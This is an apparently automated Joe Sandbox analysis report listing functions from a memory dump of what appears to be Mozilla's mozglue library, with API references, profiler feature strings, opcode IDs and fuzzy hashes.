1, xrefs: 6C5BA824
' , xrefs: 6C5BA3D8
0, xrefs: 6C5BA100
9, xrefs: 6C5BA5D6
@, xrefs: 6C5BA625
0, xrefs: 6C5BAB22

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: b42bb043a4edba41b499c133d5b18d0f056f612fdd29510ed29ef5fe102c565c
Instruction ID: 48fa66d57d283930fb65c40dbd526f67676e69234deaf4743b0921c3a37ebd22
Opcode Fuzzy Hash: b42bb043a4edba41b499c133d5b18d0f056f612fdd29510ed29ef5fe102c565c
Instruction Fuzzy Hash: 9D82F3719093558BD711CF09C8B026EBFF1FB85718F55892AE8D567E80D335A886CB82

Function 6C5ABEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C5AC1CB
__aulldiv.LIBCMT ref: 6C5AC24C
__aulldiv.LIBCMT ref: 6C5AC348
__aullrem.LIBCMT ref: 6C5AC365
__aulldiv.LIBCMT ref: 6C5AC37D

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 245de6b99100109a57bad00e34f5c3793610824de2aaf491627289bb8ed5cf52
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 98322732B046118FC718DE6DC89065ABBE6AFC9310F09867DE495CB395D731ED06CB91

Function 6C5F77A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5F7A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5F7A93

Part of subcall function 6C5C5C50: GetTickCount64.KERNEL32 ref: 6C5C5D40
Part of subcall function 6C5C5C50: EnterCriticalSection.KERNEL32(6C62F688), ref: 6C5C5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C5F7AA1

Part of subcall function 6C5C5C50: __aulldiv.LIBCMT ref: 6C5C5DB4
Part of subcall function 6C5C5C50: LeaveCriticalSection.KERNEL32(6C62F688), ref: 6C5C5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C5F7B31

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 3be9d5ebbc94468330d08ce3e294e338f25462bcaf71d3275db2f84d96b0b746
Instruction ID: a423371302ea8f4e9747c20eb7d9f1d6ee17ab8ebaf823c9f9e39393cb153d5e
Opcode Fuzzy Hash: 3be9d5ebbc94468330d08ce3e294e338f25462bcaf71d3275db2f84d96b0b746
Instruction Fuzzy Hash: 5FB17B356083848BDB18CE25C85065FB7E3BBC9358F154A1CE9A567B91DB70ED0BCB82

Function 6C5C8850 Relevance: 6.1, APIs: 1, Strings: 2, Instructions: 1567COMMON

Download Yara Rule

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5C9813, 6C5C985D, 6C5C9878, 6C5C9CEB
MOZ_CRASH(), xrefs: 6C5C97EA

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 0-3566792288
Opcode ID: 9f040d1a21552f8367d704b9dfd2ef38a30a1ab9c9908b27cb9c785c7fdf1f80
Instruction ID: 8f95e921b366a0e6f68117a83a2b2a19057236243acd26d1dd961e15aa4948f0
Opcode Fuzzy Hash: 9f040d1a21552f8367d704b9dfd2ef38a30a1ab9c9908b27cb9c785c7fdf1f80
Instruction Fuzzy Hash: 04D27C71B056018FD708CF59C990715BBE1BF85328F29C76DE86A8B7A5D731E841CB82

Function 6C6085F0 Relevance: 5.9, APIs: 2, Strings: 1, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C608C7C
__aulldiv.LIBCMT ref: 6C608DD7

Strings

","cohortname":"","fp":"1.D38C6AADB3F9B92410AE822CBD205272ACA28CC7C816A444EA0B795112CF98D9","installdate":-1,"pv":"116.16385.16360.19"},"ebkkldgijmkljgglkajkjgedfnigiakk":{"cohort":"rrf@0.10","cohortname":"","fp":"1.1B2BA8FC90BA68CD057B9CAAFFC218EAD59A23E37F79, xrefs: 6C6088C1, 6C608B71

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: __aulldiv
String ID: ","cohortname":"","fp":"1.D38C6AADB3F9B92410AE822CBD205272ACA28CC7C816A444EA0B795112CF98D9","installdate":-1,"pv":"116.16385.16360.19"},"ebkkldgijmkljgglkajkjgedfnigiakk":{"cohort":"rrf@0.10","cohortname":"","fp":"1.1B2BA8FC90BA68CD057B9CAAFFC218EAD59A23E37F79
API String ID: 3732870572-2466651854
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: be2a872b49d769d3c629b90ada2b01e3486ff575f3cbb3d8df408d88d4d594d9
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 63328F31F101198BDF1CCE9CC9A17AEB7B6FB88304F16853AD406BB7A0DA349D458B95

Function 6C5E6CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C5E6D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5E6E1E

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 9e467d996098dfdbd152d872459069a59b024ef965ec3c3f6f8f7c3185252de0
Instruction ID: aba1f1f3467fbc824ed1d48b9b1324115ea66d09b32d871feaab0bfb83725fb3
Opcode Fuzzy Hash: 9e467d996098dfdbd152d872459069a59b024ef965ec3c3f6f8f7c3185252de0
Instruction Fuzzy Hash: 72A18B70618384CFDB15CF25C8907AEBBE2BFC9348F04491DE99A87751DB70A949CB82

Function 6C60B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL(000000FF,00000000,00000000,?,0000001C,6C5DFE3F), ref: 6C60B720
RtlNtStatusToDosError.NTDLL ref: 6C60B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,00000000,?,?,00000000,?,6C5DFE3F), ref: 6C60B760

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 0a00c88aa8d5806d730f0d88d833bfeb95c841e7d0463eb63b321d0ebc603cce
Instruction ID: 208ccdbd87625670ab991a65d271c1716eca94467f10ac90ac706d2c07ba0b37
Opcode Fuzzy Hash: 0a00c88aa8d5806d730f0d88d833bfeb95c841e7d0463eb63b321d0ebc603cce
Instruction Fuzzy Hash: 60F0A470A4420CAEDF099AA5CD85BDE77BD9B4432BF109139D511715C0D774998CC76C

Function 6C5C4640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C5C4777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5C5585, 6C5C55A8, 6C5C55C3, 6C5C5624

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 94c493745be54d2caecbc7ef721dd874cab3cc5c37c4124f75219da864b38e96
Instruction ID: 552be4bf32a83cc4ebc5c9010f34cddcdac87935008786bab9075b186aa3e047
Opcode Fuzzy Hash: 94c493745be54d2caecbc7ef721dd874cab3cc5c37c4124f75219da864b38e96
Instruction Fuzzy Hash: D8B28F71B056018FD308CF99C990725BBE2BFC5328B29C76DE4698B7A5D771E841CB82

Function 6C6176E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~qZl, xrefs: 6C617B0B, 6C617796, 6C617E0B, 6C6179C0, 6C61793C, 6C6179FB

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: ~qZl
API String ID: 0-4224160377
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: a3cc26e547993f11bc2f97b632f64410c61ae1d9ae32e34ce59531f6f6a9e01d
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 62320A71E046198FCB14CF99C890AADFBF2FF88308F648169C549A7B45D731A986CF94

Function 6C616E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~qZl, xrefs: 6C617B0B, 6C617E0B, 6C617C03, 6C6179C0, 6C617C72, 6C61793C, 6C6179FB

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: ~qZl
API String ID: 0-4224160377
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 19bda37819bdebe1013a50c67d88af55cd5de13f1e8fae335f1313da59a29b9d
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: F1220975E042198FCB14CF98C880AADF7F2FF88304F6485AAC549A7B45D731A986CF94

Function 6C5E5C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C5B4A63,?,?), ref: 6C5E5F06

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 3e6af2682fed1e7a33fa9948a7535c47f6cff07a4a126e9056dcb77546a16cd9
Instruction ID: 20a62045daa545c748688c10d1c00a7ab334133c17567e59010db0afb843842a
Opcode Fuzzy Hash: 3e6af2682fed1e7a33fa9948a7535c47f6cff07a4a126e9056dcb77546a16cd9
Instruction Fuzzy Hash: E7C1D275D012098BCB04CF99C9906EEBBF2FF8A318FA8415DD8556BB45D732A906CF90

Function 6C5ADFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2e1f68301bfd562901557000d465fea48f4c26b23c6041ca564a9fd8342ef43
Instruction ID: 612a26bbb24358c9d08b0fa2d354c2cfbfec2c92590e9b4fd25579913ee2ef82
Opcode Fuzzy Hash: c2e1f68301bfd562901557000d465fea48f4c26b23c6041ca564a9fd8342ef43
Instruction Fuzzy Hash: 8742C332A087518BD308CE7DC89135EB3E2BFC9364F094B2DE999A7791D774D9428B81

Function 6C5D0512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 6b274da699a51902576afb2007428f7aa8669ff043b9c833f60765cb011d3446
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: BE221671E00619CFCB14CF98C890AADF7B2FF88314F55869AD44AA7705D731A986CF84

Function 6C61AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33cb064bc30959da60377ddd9f4483401e727ff62f8445e899514d13fa10c4bd
Instruction ID: b42411a1024763ab42fed08c8b48809b8ea30ec380ff29545556e980984c3241
Opcode Fuzzy Hash: 33cb064bc30959da60377ddd9f4483401e727ff62f8445e899514d13fa10c4bd
Instruction Fuzzy Hash: B7F13971A0C7454FD700CE2CC8913AAB7E2AFC531AF158A2DE4D487F92E774988D8796

Function 6C5AC670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 4d7c41bfe003d8dcb3dbffc77e1c1a09eb23f250caaf566cdf5819a47df85da6
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 4BA1A171F0021A8FDB08CEA9C8913AEB7F2AFC9354F188129D915E7791D7356C068BD0

Function 6C5E7710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: f5aa1bf0da769bbeb360bbec430f886d5e8dc7aeb1da59747880818381f525c2
Instruction ID: d2cc4dba08e2ff8cb1fdc1250148e3caee2d0161a273321c49d7eebb577c9cf8
Opcode Fuzzy Hash: f5aa1bf0da769bbeb360bbec430f886d5e8dc7aeb1da59747880818381f525c2
Instruction Fuzzy Hash: 34717C75E052198FCB08CFA9D8906EDBBB2FF89354F24812ED815AB741D731A945CB90

Function 6C5ECC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C5B582D), ref: 6C5ECC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C5B582D), ref: 6C5ECC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C61FE98,?,?,?,?,?,6C5B582D), ref: 6C5ECC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C5B582D), ref: 6C5ECC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C5B582D), ref: 6C5ECC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C5B582D), ref: 6C5ECC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5B582D), ref: 6C5ECCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C5ECCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C5ECCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C5ECCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C5ECCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C5ECD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C5ECD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C5ECD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C5ECDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C5ECDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C5ECDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C5ECDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C5ECE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C5ECE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C5ECE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C5ECE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C5ECE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C5ECE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C5ECE8A

Strings

default, xrefs: 6C5ECC21
processcpu, xrefs: 6C5ECE6E
markersallthreads, xrefs: 6C5ECE42
jsallocations, xrefs: 6C5ECD0E
screenshots, xrefs: 6C5ECCD4
stackwalk, xrefs: 6C5ECCF8
power, xrefs: 6C5ECE84
nostacksampling, xrefs: 6C5ECD7C
ipcmessages, xrefs: 6C5ECDBE
java, xrefs: 6C5ECC37
fileioall, xrefs: 6C5ECCA8
fileio, xrefs: 6C5ECC92
notimerresolutionchange, xrefs: 6C5ECE00
Unrecognized feature "%s"., xrefs: 6C5ECEA0
mainthreadio, xrefs: 6C5ECC7C
leaf, xrefs: 6C5ECC66
preferencereads, xrefs: 6C5ECD92
unregisteredthreads, xrefs: 6C5ECE58
noiostacks, xrefs: 6C5ECCBE
nativeallocations, xrefs: 6C5ECDA8
cpuallthreads, xrefs: 6C5ECE16
seqstyle, xrefs: 6C5ECCE6
samplingallthreads, xrefs: 6C5ECE2C
audiocallbacktracing, xrefs: 6C5ECDD4

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 3a2c7171958b9561609795740c909d88370760df082db387857aa337d82519eb
Instruction ID: 393fb66a07737cea417b6c975e6b01fe38d7e650c0b50591e21ee837e370fadf
Opcode Fuzzy Hash: 3a2c7171958b9561609795740c909d88370760df082db387857aa337d82519eb
Instruction Fuzzy Hash: 5A51CCF19092A561FA05B1191E20BEE1C45EF5B24BF106436EE1BA1F80FF06F61949BF

Function 6C5B47C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C5B4801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5B4817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5B482D
__Init_thread_footer.LIBCMT ref: 6C5B484A

Part of subcall function 6C5DAB3F: EnterCriticalSection.KERNEL32(6C62E370,?,?,6C5A3527,6C62F6CC,?,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB49
Part of subcall function 6C5DAB3F: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A3527,6C62F6CC,?,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DAB7C

